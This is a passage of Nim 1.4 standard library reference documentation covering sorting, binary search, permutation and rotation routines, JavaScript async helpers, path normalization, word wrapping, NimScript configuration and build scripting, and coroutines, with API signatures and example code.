1, 4, 2, 3], 4) == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L220) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L220) ``` proc lowerBound[T, K](a: openArray[T]; key: K; cmp: proc (x: T; k: K): int {...}{.closure.}): int ``` Returns a position to the first element in the `a` that is greater than `key`, or last if no such element is found. In other words if you have a sorted sequence and you call `insert(thing, elm, lowerBound(thing, elm))` the sequence will still be sorted. If an invalid range is passed, it raises IndexDefect. The version uses `cmp` to compare the elements. The expected return values are the same as that of `system.cmp`. **See also:** * [upperBound proc](#upperBound,openArray%5BT%5D,K,proc(T,K)) sorted by `cmp` in the specified order * [upperBound proc](#upperBound,openArray%5BT%5D,T) **Example:** ``` var arr = @[1, 2, 3, 5, 6, 7, 8, 9] assert arr.lowerBound(3, system.cmp[int]) == 2 assert arr.lowerBound(4, system.cmp[int]) == 3 assert arr.lowerBound(5, system.cmp[int]) == 3 arr.insert(4, arr.lowerBound(4, system.cmp[int])) assert arr == [1, 2, 3, 4, 5, 6, 7, 8, 9] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L230) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L230) ``` proc lowerBound[T](a: openArray[T]; key: T): int ``` Returns a position to the first element in the `a` that is greater than `key`, or last if no such element is found. In other words if you have a sorted sequence and you call `insert(thing, elm, lowerBound(thing, elm))` the sequence will still be sorted. The version uses the default comparison function `cmp`. **See also:** * [upperBound proc](#upperBound,openArray%5BT%5D,K,proc(T,K)) sorted by `cmp` in the specified order * [upperBound proc](#upperBound,openArray%5BT%5D,T) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L265) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L265) ``` proc upperBound[T, K](a: openArray[T]; key: K; cmp: proc (x: T; k: K): int {...}{.closure.}): int ``` Returns a position to the first element in the `a` that is not less (i.e. greater or equal to) than `key`, or last if no such element is found. In other words if you have a sorted sequence and you call `insert(thing, elm, upperBound(thing, elm))` the sequence will still be sorted. If an invalid range is passed, it raises IndexDefect. The version uses `cmp` to compare the elements. The expected return values are the same as that of `system.cmp`. **See also:** * [lowerBound proc](#lowerBound,openArray%5BT%5D,K,proc(T,K)) sorted by `cmp` in the specified order * [lowerBound proc](#lowerBound,openArray%5BT%5D,T) **Example:** ``` var arr = @[1, 2, 3, 5, 6, 7, 8, 9] assert arr.upperBound(2, system.cmp[int]) == 2 assert arr.upperBound(3, system.cmp[int]) == 3 assert arr.upperBound(4, system.cmp[int]) == 3 arr.insert(4, arr.upperBound(3, system.cmp[int])) assert arr == [1, 2, 3, 4, 5, 6, 7, 8, 9] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L278) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L278) ``` proc upperBound[T](a: openArray[T]; key: T): int ``` Returns a position to the first element in the `a` that is not less (i.e. greater or equal to) than `key`, or last if no such element is found. In other words if you have a sorted sequence and you call `insert(thing, elm, upperBound(thing, elm))` the sequence will still be sorted. The version uses the default comparison function `cmp`. **See also:** * [lowerBound proc](#lowerBound,openArray%5BT%5D,K,proc(T,K)) sorted by `cmp` in the specified order * [lowerBound proc](#lowerBound,openArray%5BT%5D,T) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L313) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L313) ``` proc sort[T](a: var openArray[T]; order = SortOrder.Ascending) ``` Shortcut version of `sort` that uses `system.cmp[T]` as the comparison function. **See also:** * [sort func](#sort,openArray%5BT%5D,proc(T,T)) * [sorted proc](#sorted,openArray%5BT%5D,proc(T,T)) sorted by `cmp` in the specified order * [sorted proc](#sorted,openArray%5BT%5D) * [sortedByIt template](#sortedByIt.t,untyped,untyped) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L426) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L426) ``` proc sorted[T](a: openArray[T]; cmp: proc (x, y: T): int {...}{.closure.}; order = SortOrder.Ascending): seq[T] ``` Returns `a` sorted by `cmp` in the specified `order`. **See also:** * [sort func](#sort,openArray%5BT%5D,proc(T,T)) * [sort proc](#sort,openArray%5BT%5D) * [sortedByIt template](#sortedByIt.t,untyped,untyped) **Example:** ``` let a = [2, 3, 1, 5, 4] b = sorted(a, system.cmp[int]) c = sorted(a, system.cmp[int], Descending) d = sorted(["adam", "dande", "brian", "cat"], system.cmp[string]) assert b == @[1, 2, 3, 4, 5] assert c == @[5, 4, 3, 2, 1] assert d == @["adam", "brian", "cat", "dande"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L436) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L436) ``` proc sorted[T](a: openArray[T]; order = SortOrder.Ascending): seq[T] ``` Shortcut version of `sorted` that uses `system.cmp[T]` as the comparison function. **See also:** * [sort func](#sort,openArray%5BT%5D,proc(T,T)) * [sort proc](#sort,openArray%5BT%5D) * [sortedByIt template](#sortedByIt.t,untyped,untyped) **Example:** ``` let a = [2, 3, 1, 5, 4] b = sorted(a) c = sorted(a, Descending) d = sorted(["adam", "dande", "brian", "cat"]) assert b == @[1, 2, 3, 4, 5] assert c == @[5, 4, 3, 2, 1] assert d == @["adam", "brian", "cat", "dande"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L458) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L458) ``` proc isSorted[T](a: openArray[T]; order = SortOrder.Ascending): bool ``` Shortcut version of `isSorted` that uses `system.cmp[T]` as the comparison function. **See also:** * [isSorted func](#isSorted,openArray%5BT%5D,proc(T,T)) **Example:** ``` let a = [2, 3, 1, 5, 4] b = [1, 2, 3, 4, 5] c = [5, 4, 3, 2, 1] d = ["adam", "brian", "cat", "dande"] e = ["adam", "dande", "brian", "cat"] assert isSorted(a) == false assert isSorted(b) == true assert isSorted(c) == false assert isSorted(c, Descending) == true assert isSorted(d) == true assert isSorted(e) == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L539) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L539) ``` proc product[T](x: openArray[seq[T]]): seq[seq[T]] ``` Produces the Cartesian product of the array. Warning: complexity may explode. **Example:** ``` assert product(@[@[1], @[2]]) == @[@[1, 2]] assert product(@[@["A", "K"], @["Q"]]) == @[@["K", "Q"], @["A", "Q"]] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L559) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L559) ``` proc nextPermutation[T](x: var openArray[T]): bool {...}{.discardable.} ``` Calculates the next lexicographic permutation, directly modifying `x`. The result is whether a permutation happened, otherwise we have reached the last-ordered permutation. If you start with an unsorted array/seq, the repeated permutations will **not** give you all permutations but stop with last. **See also:** * [prevPermutation proc](#prevPermutation,openArray%5BT%5D) **Example:** ``` var v = @[0, 1, 2, 3] assert v.nextPermutation() == true assert v == @[0, 1, 3, 2] assert v.nextPermutation() == true assert v == @[0, 2, 1, 3] assert v.prevPermutation() == true assert v == @[0, 1, 3, 2] v = @[3, 2, 1, 0] assert v.nextPermutation() == false assert v == @[3, 2, 1, 0] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L593) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L593) ``` proc prevPermutation[T](x: var openArray[T]): bool {...}{.discardable.} ``` Calculates the previous lexicographic permutation, directly modifying `x`. The result is whether a permutation happened, otherwise we have reached the first-ordered permutation. **See also:** * [nextPermutation proc](#nextPermutation,openArray%5BT%5D) **Example:** ``` var v = @[0, 1, 2, 3] assert v.prevPermutation() == false assert v == @[0, 1, 2, 3] assert v.nextPermutation() == true assert v == @[0, 1, 3, 2] assert v.prevPermutation() == true assert v == @[0, 1, 2, 3] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L633) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L633) ``` proc rotateLeft[T](arg: var openArray[T]; slice: HSlice[int, int]; dist: int): int {...}{. discardable.} ``` Performs a left rotation on a range of elements. If you want to rotate right, use a negative `dist`. Specifically, `rotateLeft` rotates the elements at `slice` by `dist` positions.The element at index `slice.a + dist` will be at index `slice.a`. The element at index `slice.b` will be at `slice.a + dist -1`. The element at index `slice.a` will be at `slice.b + 1 - dist`. The element at index `slice.a + dist - 1` will be at `slice.b`. Elements outside of `slice` will be left unchanged. The time complexity is linear to `slice.b - slice.a + 1`. If an invalid range (`HSlice`) is passed, it raises IndexDefect. `slice` The indices of the element range that should be rotated. `dist` The distance in amount of elements that the data should be rotated. Can be negative, can be any number. **See also:** * [rotateLeft proc](#rotateLeft,openArray%5BT%5D,int) for a version which rotates the whole container * [rotatedLeft proc](#rotatedLeft,openArray%5BT%5D,HSlice%5Bint,int%5D,int) for a version which returns a `seq[T]` **Example:** ``` var a = [0, 1, 2, 3, 4, 5] a.rotateLeft(1 .. 4, 3) assert a == [0, 4, 1, 2, 3, 5] a.rotateLeft(1 .. 4, 3) assert a == [0, 3, 4, 1, 2, 5] a.rotateLeft(1 .. 4, -3) assert a == [0, 4, 1, 2, 3, 5] doAssertRaises(IndexDefect, a.rotateLeft(1 .. 7, 2)) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L720) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L720) ``` proc rotateLeft[T](arg: var openArray[T]; dist: int): int {...}{.discardable.} ``` Default arguments for slice, so that this procedure operates on the entire `arg`, and not just on a part of it. **See also:** * [rotateLeft proc](#rotateLeft,openArray%5BT%5D,HSlice%5Bint,int%5D,int) for a version which rotates a range * [rotatedLeft proc](#rotatedLeft,openArray%5BT%5D,int) for a version which returns a `seq[T]` **Example:** ``` var a = [1, 2, 3, 4, 5] a.rotateLeft(2) assert a == [3, 4, 5, 1, 2] a.rotateLeft(4) assert a == [2, 3, 4, 5, 1] a.rotateLeft(-6) assert a == [1, 2, 3, 4, 5] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L758) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L758) ``` proc rotatedLeft[T](arg: openArray[T]; slice: HSlice[int, int]; dist: int): seq[ T] ``` Same as `rotateLeft`, just with the difference that it does not modify the argument. It creates a new `seq` instead. Elements outside of `slice` will be left unchanged. If an invalid range (`HSlice`) is passed, it raises IndexDefect. `slice` The indices of the element range that should be rotated. `dist` The distance in amount of elements that the data should be rotated. Can be negative, can be any number. **See also:** * [rotateLeft proc](#rotateLeft,openArray%5BT%5D,HSlice%5Bint,int%5D,int) for the in-place version of this proc * [rotatedLeft proc](#rotatedLeft,openArray%5BT%5D,int) for a version which rotates the whole container **Example:** ``` var a = @[1, 2, 3, 4, 5] a = rotatedLeft(a, 1 .. 4, 3) assert a == @[1, 5, 2, 3, 4] a = rotatedLeft(a, 1 .. 3, 2) assert a == @[1, 3, 5, 2, 4] a = rotatedLeft(a, 1 .. 3, -2) assert a == @[1, 5, 2, 3, 4] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L777) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L777) ``` proc rotatedLeft[T](arg: openArray[T]; dist: int): seq[T] ``` Same as `rotateLeft`, just with the difference that it does not modify the argument. It creates a new `seq` instead. **See also:** * [rotateLeft proc](#rotateLeft,openArray%5BT%5D,int) for the in-place version of this proc * [rotatedLeft proc](#rotatedLeft,openArray%5BT%5D,HSlice%5Bint,int%5D,int) for a version which rotates a range **Example:** ``` var a = @[1, 2, 3, 4, 5] a = rotatedLeft(a, 2) assert a == @[3, 4, 5, 1, 2] a = rotatedLeft(a, 4) assert a == @[2, 3, 4, 5, 1] a = rotatedLeft(a, -6) assert a == @[1, 2, 3, 4, 5] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L807) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L807) Funcs ----- ``` func sort[T](a: var openArray[T]; cmp: proc (x, y: T): int {...}{.closure.}; order = SortOrder.Ascending) ``` Default Nim sort (an implementation of merge sort). The sorting is guaranteed to be stable and the worst case is guaranteed to be O(n log n). The current implementation uses an iterative mergesort to achieve this. It uses a temporary sequence of length `a.len div 2`. If you do not wish to provide your own `cmp`, you may use `system.cmp` or instead call the overloaded version of `sort`, which uses `system.cmp`. ``` sort(myIntArray, system.cmp[int]) # do not use cmp[string] here as we want to use the specialized # overload: sort(myStrArray, system.cmp) ``` You can inline adhoc comparison procs with the [do notation](manual_experimental#do-notation). Example: ``` people.sort do (x, y: Person) -> int: result = cmp(x.surname, y.surname) if result == 0: result = cmp(x.name, y.name) ``` **See also:** * [sort proc](#sort,openArray%5BT%5D) * [sorted proc](#sorted,openArray%5BT%5D,proc(T,T)) sorted by `cmp` in the specified order * [sorted proc](#sorted,openArray%5BT%5D) * [sortedByIt template](#sortedByIt.t,untyped,untyped) **Example:** ``` var d = ["boo", "fo", "barr", "qux"] proc myCmp(x, y: string): int = if x.len() > y.len() or x.len() == y.len(): 1 else: -1 sort(d, myCmp) assert d == ["fo", "qux", "boo", "barr"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L373) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L373) ``` func isSorted[T](a: openArray[T]; cmp: proc (x, y: T): int {...}{.closure.}; order = SortOrder.Ascending): bool ``` Checks to see whether `a` is already sorted in `order` using `cmp` for the comparison. Parameters identical to `sort`. Requires O(n) time. **See also:** * [isSorted proc](#isSorted,openArray%5BT%5D) **Example:** ``` let a = [2, 3, 1, 5, 4] b = [1, 2, 3, 4, 5] c = [5, 4, 3, 2, 1] d = ["adam", "brian", "cat", "dande"] e = ["adam", "dande", "brian", "cat"] assert isSorted(a) == false assert isSorted(b) == true assert isSorted(c) == false assert isSorted(c, Descending) == true assert isSorted(d) == true assert isSorted(e) == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L512) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L512) Templates --------- ``` template sortedByIt(seq1, op: untyped): untyped ``` Convenience template around the `sorted` proc to reduce typing. The template injects the `it` variable which you can use directly in an expression. Because the underlying `cmp()` is defined for tuples you can do a nested sort. **See also:** * [sort func](#sort,openArray%5BT%5D,proc(T,T)) * [sort proc](#sort,openArray%5BT%5D) * [sorted proc](#sorted,openArray%5BT%5D,proc(T,T)) sorted by `cmp` in the specified order * [sorted proc](#sorted,openArray%5BT%5D) **Example:** ``` type Person = tuple[name: string, age: int] var p1: Person = (name: "p1", age: 60) p2: Person = (name: "p2", age: 20) p3: Person = (name: "p3", age: 30) p4: Person = (name: "p4", age: 30) people = @[p1, p2, p4, p3] assert people.sortedByIt(it.name) == @[(name: "p1", age: 60), (name: "p2", age: 20), (name: "p3", age: 30), (name: "p4", age: 30)] # Nested sort assert people.sortedByIt((it.age, it.name)) == @[(name: "p2", age: 20), (name: "p3", age: 30), (name: "p4", age: 30), (name: "p1", age: 60)] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L476) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L476)
programming_docs
nim asyncjs asyncjs ======= This module implements types and macros for writing asynchronous code for the JS backend. It provides tools for interaction with JavaScript async API-s and libraries, writing async procedures in Nim and converting callback-based code to promises. A Nim procedure is asynchronous when it includes the `{.async.}` pragma. It should always have a `Future[T]` return type or not have a return type at all. A `Future[void]` return type is assumed by default. This is roughly equivalent to the `async` keyword in JavaScript code. ``` proc loadGame(name: string): Future[Game] {.async.} = # code ``` should be equivalent to ``` async function loadGame(name) { // code } ``` A call to an asynchronous procedure usually needs `await` to wait for the completion of the `Future`. ``` var game = await loadGame(name) ``` Often, you might work with callback-based API-s. You can wrap them with asynchronous procedures using promises and `newPromise`: ``` proc loadGame(name: string): Future[Game] = var promise = newPromise() do (resolve: proc(response: Game)): cbBasedLoadGame(name) do (game: Game): resolve(game) return promise ``` Forward definitions work properly, you just need to always add the `{.async.}` pragma: ``` proc loadGame(name: string): Future[Game] {.async.} ``` JavaScript compatibility ------------------------ Nim currently generates `async/await` JavaScript code which is supported in modern EcmaScript and most modern versions of browsers, Node.js and Electron. If you need to use this module with older versions of JavaScript, you can use a tool that backports the resulting JavaScript code, as babel. Imports ------- <jsffi>, <macros> Types ----- ``` Future[T] = ref object future*: T ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/asyncjs.nim#L67) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/asyncjs.nim#L67) ``` PromiseJs {...}{.importcpp: "Promise".} = ref object ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/asyncjs.nim#L71) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/asyncjs.nim#L71) Procs ----- ``` proc newPromise[T](handler: proc (resolve: proc (response: T))): Future[T] {...}{. importcpp: "(new Promise(#))".} ``` A helper for wrapping callback-based functions into promises and async procedures [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/asyncjs.nim#L150) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/asyncjs.nim#L150) ``` proc newPromise(handler: proc (resolve: proc ())): Future[void] {...}{. importcpp: "(new Promise(#))".} ``` A helper for wrapping callback-based functions into promises and async procedures [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/asyncjs.nim#L154) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/asyncjs.nim#L154) Macros ------ ``` macro async(arg: untyped): untyped ``` Macro which converts normal procedures into javascript-compatible async procedures [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/asyncjs.nim#L140) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/asyncjs.nim#L140) nim Nim Documentation Overview Nim Documentation Overview ========================== The documentation consists of several documents:* [Tutorial (part I)](https://nim-lang.org/docs/tut1.html) The Nim tutorial part one deals with the basics. * [Tutorial (part II)](https://nim-lang.org/docs/tut2.html) The Nim tutorial part two deals with the advanced language constructs. * [Tutorial (part III)](https://nim-lang.org/docs/tut3.html) The Nim tutorial part three about Nim's macro system. * [Language Manual](manual) The Nim manual is a draft that will evolve into a proper specification. * [Library documentation](lib) This document describes Nim's standard library. * [Compiler user guide](nimc) The user guide lists command line arguments, special features of the compiler, etc. * [Tools documentation](https://nim-lang.org/docs/tools.html) Description of some tools that come with the standard distribution. * [GC](gc) Additional documentation about Nim's multi-paradigm memory management strategies and how to operate them in a realtime setting. * [Source code filters](filters) The Nim compiler supports source code filters as a simple yet powerful builtin templating system. * [Internal documentation](intern) The internal documentation describes how the compiler is implemented. Read this if you want to hack the compiler. * [Index](https://nim-lang.org/docs/theindex.html) The generated index. **Index + (Ctrl+F) == Joy** nim pathnorm pathnorm ======== OS-Path normalization. Used by `os.nim` but also generally useful for dealing with paths. Unstable API. Imports ------- <osseps> Types ----- ``` PathIter = object i, prev: int notFirst: bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pathnorm.nim#L20) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pathnorm.nim#L20) Procs ----- ``` proc hasNext(it: PathIter; x: string): bool {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pathnorm.nim#L24) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pathnorm.nim#L24) ``` proc next(it: var PathIter; x: string): (int, int) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pathnorm.nim#L27) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pathnorm.nim#L27) ``` proc addNormalizePath(x: string; result: var string; state: var int; dirSep = DirSep) {...}{.raises: [], tags: [].} ``` Low level proc. Undocumented. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pathnorm.nim#L59) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pathnorm.nim#L59) ``` proc normalizePath(path: string; dirSep = DirSep): string {...}{.raises: [], tags: [].} ``` **Example:** ``` when defined(posix): doAssert normalizePath("./foo//bar/../baz") == "foo/baz" ``` * Turns multiple slashes into single slashes. * Resolves `'/foo/../bar'` to `'/bar'`. * Removes `'./'` from the path, but `"foo/.."` becomes `"."`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/pathnorm.nim#L102) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/pathnorm.nim#L102) nim wordwrap wordwrap ======== This module contains an algorithm to wordwrap a Unicode string. Imports ------- <strutils>, <unicode> Procs ----- ``` proc wrapWords(s: string; maxLineWidth = 80; splitLongWords = true; seps: set[char] = Whitespace; newLine = "\n"): string {...}{. noSideEffect, raises: [], tags: [].} ``` Word wraps `s`. **Example:** ``` doAssert "12345678901234567890".wrapWords() == "12345678901234567890" doAssert "123456789012345678901234567890".wrapWords(20) == "12345678901234567890\n1234567890" doAssert "Hello Bob. Hello John.".wrapWords(13, false) == "Hello Bob.\nHello John." doAssert "Hello Bob. Hello John.".wrapWords(13, true, {';'}) == "Hello Bob. He\nllo John." ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/wordwrap.nim#L22) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/wordwrap.nim#L22) nim NimScript NimScript ========= Strictly speaking, `NimScript` is the subset of Nim that can be evaluated by Nim's builtin virtual machine (VM). This VM is used for Nim's compiletime function evaluation features. The `nim` executable processes the `.nims` configuration files in the following directories (in this order; later files overwrite previous settings): 1. If environment variable `XDG_CONFIG_HOME` is defined, `$XDG_CONFIG_HOME/nim/config.nims` or `~/.config/nim/config.nims` (POSIX) or `%APPDATA%/nim/config.nims` (Windows). This file can be skipped with the `--skipUserCfg` command line option. 2. `$parentDir/config.nims` where `$parentDir` stands for any parent directory of the project file's path. These files can be skipped with the `--skipParentCfg` command line option. 3. `$projectDir/config.nims` where `$projectDir` stands for the project's path. This file can be skipped with the `--skipProjCfg` command line option. 4. A project can also have a project specific configuration file named `$project.nims` that resides in the same directory as `$project.nim`. This file can be skipped with the same `--skipProjCfg` command line option. For available procs and implementation details see <nimscript>. Limitations ----------- NimScript is subject to some limitations caused by the implementation of the VM (virtual machine): * Nim's FFI (foreign function interface) is not available in NimScript. This means that any stdlib module which relies on `importc` can not be used in the VM. * `ptr` operations are are hard to emulate with the symbolic representation the VM uses. They are available and tested extensively but there are bugs left. * `var T` function arguments rely on `ptr` operations internally and might also be problematic in some cases. * More than one level of `ref` is generally not supported (for example, the type `ref ref int`). * Multimethods are not available. * `random.randomize()` requires an `int64` explicitly passed as argument, you *must* pass a Seed integer. Standard library modules ------------------------ At least the following standard library modules are available: * <macros> * <os> * <strutils> * <math> * <distros> * <sugar> * <algorithm> * <base64> * <bitops> * <chains> * <colors> * <complex> * <htmlgen> * <httpcore> * <lenientops> * <mersenne> * <options> * <parseutils> * <punycode> * [random](punycode) * <stats> * <strformat> * <strmisc> * <strscans> * <unicode> * <uri> * [std/editdistance](editdistance) * [std/wordwrap](wordwrap) * [std/sums](sums) * <parsecsv> * <parsecfg> * <parsesql> * <xmlparser> * <htmlparser> * <ropes> * <json> * <parsejson> * <strtabs> * <unidecode> In addition to the standard Nim syntax (<system> module), NimScripts support the procs and templates defined in the <nimscript> module too. See also: * [Check the tests for more information about modules compatible with NimScript.](https://github.com/nim-lang/Nim/blob/devel/tests/test_nimscript.nims) NimScript as a configuration file --------------------------------- A command-line switch `--FOO` is written as `switch("FOO")` in NimScript. Similarly, command-line `--FOO:VAL` translates to `switch("FOO", "VAL")`. Here are few examples of using the `switch` proc: ``` # command-line: --opt:size switch("opt", "size") # command-line: --define:foo or -d:foo switch("define", "foo") # command-line: --forceBuild switch("forceBuild") ``` NimScripts also support `--` templates for convenience, which look like command-line switches written as-is in the NimScript file. So the above example can be rewritten as: ``` --opt:size --define:foo --forceBuild ``` **Note**: In general, the *define* switches can also be set in NimScripts using `switch` or `--`, as shown in above examples. Only the `release` define (`-d:release`) cannot be set in NimScripts. NimScript as a build tool ------------------------- The `task` template that the `system` module defines allows a NimScript file to be used as a build tool. The following example defines a task `build` that is an alias for the `c` command: ``` task build, "builds an example": setCommand "c" ``` In fact, as a convention the following tasks should be available: | Task | Description | | --- | --- | | `help` | List all the available NimScript tasks along with their docstrings. | | `build` | Build the project with the required backend (`c`, `cpp` or `js`). | | `tests` | Runs the tests belonging to the project. | | `bench` | Runs benchmarks belonging to the project. | Look at the module <distros> for some support of the OS's native package managers. Nimble integration ------------------ See the [Nimble readme](https://github.com/nim-lang/nimble#readme) for more information. Standalone NimScript -------------------- NimScript can also be used directly as a portable replacement for Bash and Batch files. Use `nim myscript.nims` to run `myscript.nims`. For example, installation of Nimble could be accomplished with this simple script: ``` mode = ScriptMode.Verbose var id = 0 while dirExists("nimble" & $id): inc id exec "git clone https://github.com/nim-lang/nimble.git nimble" & $id withDir "nimble" & $id & "/src": exec "nim c nimble" mvFile "nimble" & $id & "/src/nimble".toExe, "bin/nimble".toExe ``` On Unix, you can also use the shebang `#!/usr/bin/env nim`, as long as your filename ends with `.nims`: ``` #!/usr/bin/env nim mode = ScriptMode.Silent echo "hello world" ``` Use `#!/usr/bin/env -S nim --hints:off` to disable hints. Benefits -------- ### Cross-Platform It is a cross-platform scripting language that can run where Nim can run, e.g. you can not run Batch or PowerShell on Linux or Mac, the Bash for Linux might not run on Mac, there are no unit tests tools for Batch, etc. NimScript can detect on which platform, operating system, architecture, and even which Linux distribution is running on, allowing the same script to support a lot of systems. See the following (incomplete) example: ``` import distros # Architectures. if defined(amd64): echo "Architecture is x86 64Bits" elif defined(i386): echo "Architecture is x86 32Bits" elif defined(arm): echo "Architecture is ARM" # Operating Systems. if defined(linux): echo "Operating System is GNU Linux" elif defined(windows): echo "Operating System is Microsoft Windows" elif defined(macosx): echo "Operating System is Apple OS X" # Distros. if detectOs(Ubuntu): echo "Distro is Ubuntu" elif detectOs(ArchLinux): echo "Distro is ArchLinux" elif detectOs(Debian): echo "Distro is Debian" ``` ### Uniform Syntax The syntax, style, and rest of the ecosystem is the same as for compiled Nim, that means there is nothing new to learn, no context switch for developers. ### Powerful Metaprogramming NimScript can use Nim's templates, macros, types, concepts, effect tracking system, and more, you can create modules that work on compiled Nim and also on interpreted NimScript. `func` will still check for side effects, `debugEcho` also works as expected, making it ideal for functional scripting metaprogramming. This is an example of a third party module that uses macros and templates to translate text strings on unmodified NimScript: ``` import nimterlingua nimterlingua("translations.cfg") echo "cat" # Run with -d:RU becomes "kot", -d:ES becomes "gato", ... ``` translations.cfg ``` [cat] ES = gato PT = minino RU = kot FR = chat ``` * [Nimterlingua](https://nimble.directory/pkg/nimterlingua) ### Graceful Fallback Some features of compiled Nim may not work on NimScript, but often a graceful and seamless fallback degradation is used. See the following NimScript: ``` if likely(true): discard elif unlikely(false): discard proc foo() {.compiletime.} = echo NimVersion static: echo CompileDate ``` `likely()`, `unlikely()`, `static:` and `{.compiletime.}` will produce no code at all when run on NimScript, but still no error nor warning is produced and the code just works. ### Evolving Scripting language NimScript evolves together with Nim, [occasionally new features might become available on NimScript](https://github.com/nim-lang/Nim/pulls?utf8=%E2%9C%93&q=nimscript) , adapted from compiled Nim or added as new features on both. ### Scripting Language with a Package Manager You can create your own modules to be compatible with NimScript, and check [Nimble](https://nimble.directory) to search for third party modules that may work on NimScript. ### DevOps Scripting You can use NimScript to deploy to production, run tests, build projects, do benchmarks, generate documentation, and all kinds of DevOps/SysAdmin specific tasks. * [An example of a third party NimScript that can be used as a project-agnostic tool.](https://github.com/kaushalmodi/nim_config#list-available-tasks) nim coro coro ==== Nim coroutines implementation, supports several context switching methods: | | | | --- | --- | | ucontext | available on unix and alike (default) | | setjmp | available on unix and alike (x86/64 only) | | fibers | available and required on windows. | | | | | --- | --- | | -d:nimCoroutines | Required to build this module. | | -d:nimCoroutinesUcontext | Use ucontext backend. | | -d:nimCoroutinesSetjmp | Use setjmp backend. | | -d:nimCoroutinesSetjmpBundled | Use bundled setjmp implementation. | Unstable API. Timer support for the realtime GC. Based on <https://github.com/jckarter/clay/blob/master/compiler/hirestimer.cpp> Imports ------- <os>, <lists> Types ----- ``` CoroutineRef = ref object coro: CoroutinePtr ``` CoroutineRef holds a pointer to actual coroutine object. Public API always returns CoroutineRef instead of CoroutinePtr in order to allow holding a reference to coroutine object while it can be safely deallocated by coroutine scheduler loop. In this case Coroutine.reference.coro is set to nil. Public API checks for it being nil and gracefully fails if it is nil. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/coro.nim#L158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/coro.nim#L158) Procs ----- ``` proc suspend(sleepTime: float = 0) {...}{.raises: [], tags: [].} ``` Stops coroutine execution and resumes no sooner than after `sleeptime` seconds. Until then other coroutines are executed. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/coro.nim#L224) 